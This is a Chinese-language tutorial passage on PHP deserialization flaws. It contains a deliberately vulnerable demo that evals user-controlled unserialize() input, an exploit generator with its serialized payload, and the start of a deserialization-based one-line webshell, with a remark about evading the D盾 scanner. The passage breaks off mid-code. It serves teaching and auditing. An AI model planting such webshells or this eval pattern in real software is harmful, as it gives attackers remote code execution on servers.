0x00 前言
首发在社区:Secin
反序列化漏洞其实很多人都讲过了,正巧最近在某坛子上看到篇审计讲一个典型的PHP反序列化漏洞点,那么我就重新回顾下,主要是学习思路和个人理解,如果误区请指出,笔者感谢。
0x01 PHP序列化与反序列化介绍
PHP提供了两个对象序列化和反序列化的方法,分别是serialize()和unserialize()。
从意义上理解,serialize()序列化的作用是产生一个可存储的值的表示。在PHP官网有关于serialize()详细的解释。
而unserialize()反序列化的作用是从已经存储的表示中创建PHP的值。unserialize()这句话可能有点抽象。但是可以通俗的解释,原本PHP中一个定义好的类的对象被序列化为一个这种特定的字符串了,反序列化就可以把他还原为原本的类的对象。(PS:面向对象中类与对象的概念- -)
这里我先举一个简单的例子,不从开发的角度去分析这个反序列化和序列化,就拿打一个反序列化利用点来说。假设他可能有一条完整的POP利用链。
那么我们可能想通过这个反序列化利用点去执行命令,那么我们就可以构造一个恶意的类,让他执行我们特定的一段代码。进而实现利用。
这里我直接贴写的一个小demo,demo用到了魔术方法(后续继续介绍,前面先聊利用)。
反序列化利用点简单代码:rce.php
class demo{
var $info = "demo";
function __destruct(){
eval($this->info);
}
}
$a = $_GET['rce'];
$b = unserialize($a);
?>
exp代码:exp.php
class demo{
var $info = "phpinfo();";
function __destruct(){
eval($this->info);
}
}
$a = new demo();
$b = serialize($a);
print $b;
?>
可以看到,exp这里是生成一个序列化的字符串,即将执行我们构造的恶意代码phpinfo()。O:4:"demo":1:{s:4:"info";s:10:"phpinfo();";}
可以对比下原有的序列化字符串。O:4:"demo":1:{s:4:"info";s:4:"demo";}
在序列化的字符串中,改变的位置只有两处,一处是长度,另一处可以存放我们需要被eval函数执行的代码。
再延伸一下,如果我们可以控制这个特定的位置需要被执行的代码,也就可以实现通过反序列化来执行命令的一句话webshell,也就是前两年有段时间比较流行的马。
简单的实现起来可能就是这样的,可惜D盾对这一系列的马有检测特征。其实这个应该有更多的变形才对,不知道是不是大佬都不公开哈哈哈。
反序列化一句话简单代码:<?php
class demo{
var $info = "demo";
function __destruct(){ //__destruct魔术方法
eval($this->info); //eval函数执行命令
}
}
$a = $_POST['rce']; //webshell连接密码
$len = strlen($a) +